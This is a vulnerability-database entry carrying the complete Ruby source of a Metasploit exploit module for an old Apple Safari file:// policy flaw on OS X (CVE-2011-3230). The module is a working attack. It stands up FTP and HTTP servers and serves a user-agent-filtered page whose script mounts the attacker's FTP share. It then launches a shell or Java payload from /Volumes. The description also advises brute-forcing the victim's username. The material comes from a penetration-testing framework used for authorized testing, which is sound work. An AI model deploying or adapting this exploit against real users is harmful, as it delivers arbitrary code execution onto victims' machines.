Apple Safari file:// Arbitrary Code Execution

2011-10-16T19:31:09
ID MSF:EXPLOIT/OSX/BROWSER/SAFARI_FILE_POLICY
Type metasploit
Reporter Rapid7
Modified 2017-09-08T01:18:50

Description

This module exploits a vulnerability found in Apple Safari on OS X platform. A policy issue in the handling of file:// URLs may allow arbitrary remote code execution under the context of the user. In order to trigger arbitrary remote code execution, the best way seems to be opening a share on the victim machine first (this can be SMB/WebDav/FTP, or a file format that OS X might automount), and then execute it in /Volumes/[share]. If there's some kind of bug that leaks the victim machine's current username, then it's also possible to execute the payload in /Users/[username]/Downloads/, or else bruteforce your way to getting that information. Please note that non-java payloads (*.sh extension) might get launched by Xcode instead of executing it, in that case please try the Java ones instead.

                                        
                                            ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rex/service_manager'

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::FtpServer

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Apple Safari file:// Arbitrary Code Execution",
      'Description'    => %q{
          This module exploits a vulnerability found in Apple Safari on OS X platform.
        A policy issue in the handling of file:// URLs may allow arbitrary remote code
        execution under the context of the user.

          In order to trigger arbitrary remote code execution, the best way seems to
        be opening a share on the victim machine first (this can be SMB/WebDav/FTP, or
        a file format that OS X might automount), and then execute it in /Volumes/[share].
        If there's some kind of bug that leaks the victim machine's current username,
        then it's also possible to execute the payload in /Users/[username]/Downloads/,
        or else bruteforce your way to getting that information.

          Please note that non-java payloads (*.sh extension) might get launched by
        Xcode instead of executing it, in that case please try the Java ones instead.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Aaron Sigel',  # Initial discovery
          'sinn3r',       # Metasploit (also big thanks to HD, and bannedit)
        ],
      'References'     =>
        [
          [ 'CVE', '2011-3230' ],
          [ 'OSVDB', '76389' ],
          [ 'URL', 'http://vttynotes.blogspot.com/2011/10/cve-2011-3230-launch-any-file-path-from.html#comments' ],
          [ 'URL', 'http://support.apple.com/kb/HT5000' ]
        ],
      'Payload'        =>
        {
          'BadChars'    => "",
        },
      'DefaultOptions'  =>
        {
          'EXITFUNC' => "none",
        },
      'Platform'       => %w{ java osx unix },
      'Arch'           => [ ARCH_CMD, ARCH_JAVA ],
      'Targets'        =>
        [
          [ 'Safari 5.1 on OS X',           {} ],
          [ 'Safari 5.1 on OS X with Java', {} ]
        ],
      'Privileged'     => true,
      'DisclosureDate' => "Oct 12 2011",  #Blog date
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new("URIPATH", [false, 'The URI to use for this exploit (default is random)']),
        OptPort.new('SRVPORT',   [true, "The local port to use for the FTP server (Do not change)", 21 ]),
        OptPort.new('HTTPPORT',  [true, "The HTTP server port", 80])
      ])
  end


  #
  # Start the FTP aand HTTP server
  #
  def exploit
    # The correct extension name is necessary because that's how the LauncherServices
    # determines how to open the file.
    ext = (target.name =~ /java/i) ? '.jar' : '.sh'
    @payload_name = Rex::Text.rand_text_alpha(4 + rand(16)) + ext

    # Start the FTP server
    start_service()
    print_status("Local FTP: #{lookup_lhost}:#{datastore['SRVPORT']}")

    # Create our own HTTP server
    # We will stay in this functino until we manually terminate execution
    start_http()
  end


  #
  # Lookup the right address for the client
  #
  def lookup_lhost(c=nil)
    # Get the source address
    if datastore['SRVHOST'] == '0.0.0.0'
      Rex::Socket.source_address( c || '50.50.50.50')
    else
      datastore['SRVHOST']
    end
  end


  #
  # Override the client connection method and
  # initialize our payload
  #
  def on_client_connect(c)
    r = super(c)
    @state[c][:payload] = regenerate_payload(c).encoded
    r
  end


  #
  # Handle FTP LIST request (send back the directory listing)
  #
  def on_client_command_list(c, arg)
    conn = establish_data_connection(c)
    if not conn
      c.put("425 Can't build data connection\r\n")
      return
    end

    print_status("Data connection setup")
    c.put("150 Here comes the directory listing\r\n")

    print_status("Sending directory list via data connection")
    month_names = ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec']
    m = month_names[Time.now.month-1]
    d = Time.now.day
    y = Time.now.year

    dir = "-rwxr-xr-x 1 ftp ftp              #{@state[c][:payload].length.to_s} #{m} #{d}  #{y} #{@payload_name}\r\n"
    conn.put(dir)
    conn.close

    print_status("Directory sent ok")
    c.put("226 Transfer ok\r\n")

    return
  end


  #
  # Handle the FTP RETR request. This is where we transfer our actual malicious payload
  #
  def on_client_command_retr(c, arg)
    conn = establish_data_connection(c)
    if not conn
      c.put("425 can't build data connection\r\n")
      return
    end

    print_status("Connection for file transfer accepted")
    c.put("150 Connection accepted\r\n")

    # Send out payload
    conn.put(@state[c][:payload])
    conn.close
    return
  end


  #
  # Handle the HTTP request and return a response.  Code borrorwed from:
  # msf/core/exploit/http/server.rb
  #
  def start_http(opts={})
    # Ensure all dependencies are present before initializing HTTP
    use_zlib

    comm = datastore['ListenerComm']
    if (comm.to_s == "local")
      comm = ::Rex::Socket::Comm::Local
    else
      comm = nil
    end

    # Default the server host / port
    opts = {
      'ServerHost' => datastore['SRVHOST'],
      'ServerPort' => datastore['HTTPPORT'],
      'Comm'       => comm
    }.update(opts)

    # Start a new HTTP server
    @http_service = Rex::ServiceManager.start(
      Rex::Proto::Http::Server,
      opts['ServerPort'].to_i,
      opts['ServerHost'],
      datastore['SSL'],
      {
        'Msf'        => framework,
        'MsfExploit' => self,
      },
      opts['Comm'],
      datastore['SSLCert']
    )

    @http_service.server_name = datastore['HTTP::server_name']

    # Default the procedure of the URI to on_request_uri if one isn't
    # provided.
    uopts = {
      'Proc' => Proc.new { |cli, req|
          on_request_uri(cli, req)
        },
      'Path' => resource_uri
    }.update(opts['Uri'] || {})

    proto = (datastore["SSL"] ? "https" : "http")
    print_status("Using URL: #{proto}://#{opts['ServerHost']}:#{opts['ServerPort']}#{uopts['Path']}")

    if (opts['ServerHost'] == '0.0.0.0')
      print_status(" Local IP: #{proto}://#{Rex::Socket.source_address('1.2.3.4')}:#{opts['ServerPort']}#{uopts['Path']}")
    end

    # Add path to resource
    @service_path = uopts['Path']
    @http_service.add_resource(uopts['Path'], uopts)

    # As long as we have the http_service object, we will keep the ftp server alive
    while @http_service
      select(nil, nil, nil, 1)
    end
  end


  #
  # Kill HTTP/FTP (shut them down and clear resources)
  #
  def cleanup
    super

    # Kill FTP
    stop_service()

    # clear my resource, deregister ref, stop/close the HTTP socket
    begin
      @http_service.remove_resource(datastore['URIPATH'])
      @http_service.deref
      @http_service.stop
      @http_service.close
      @http_service = nil
    rescue
    end
  end


  #
  # Ensures that gzip can be used.  If not, an exception is generated.  The
  # exception is only raised if the DisableGzip advanced option has not been
  # set.
  #
  def use_zlib
    if !Rex::Text.zlib_present? && datastore['HTTP::compression']
      fail_with(Failure::Unknown, "zlib support was not detected, yet the HTTP::compression option was set.  Don't do that!")
    end
  end


  #
  # Returns the configured (or random, if not configured) URI path
  #
  def resource_uri
    path = datastore['URIPATH'] || rand_text_alphanumeric(8+rand(8))
    path = '/' + path if path !~ /^\//
    datastore['URIPATH'] = path
    return path
  end


  #
  # Handle HTTP requets and responses
  #
  def on_request_uri(cli, request)
    agent = request.headers['User-Agent']

    if agent !~ /Macintosh; Intel Mac OS X/ or agent !~ /Version\/5\.\d Safari\/(\d+)\.(\d+)/
      print_error("Unsupported target: #{agent}")
      send_response(cli, 404, "Not Found", "<h1>404 - Not Found</h1>")
      return
    end

    html = <<-HTML
    <html>
    <head>
    <base href="file://">
    <script>
    function launch() {
      document.location = "/Volumes/#{lookup_lhost}/#{@payload_name}";
    }

    function share() {
      document.location = "ftp://anonymous:anonymous@#{lookup_lhost}/";
      setTimeout("launch()", 2000);
    }

    share();
    </script>
    </head>
    <body>
    </body>
    </html>
    HTML

    send_response(cli, 200, 'OK', html)
  end


  #
  # Create an HTTP response and then send it
  #
  def send_response(cli, code, message='OK', html='')
    proto = Rex::Proto::Http::DefaultProtocol
    res = Rex::Proto::Http::Response.new(code, message, proto)
    res['Content-Type'] = 'text/html'
    res.body = html

    cli.send_response(res)
  end
end

=begin
- Need to find a suitable payload that can be executed without warning.
  Certain executables cannot be executed due to permission issues. A jar file doesn't have this
  problem, but we still get a "Are you sure?" warning before it can be executed.
- Allow user-specified port to automount the share
- Allow ftp USERNAME/PASSWORD (optional)
=end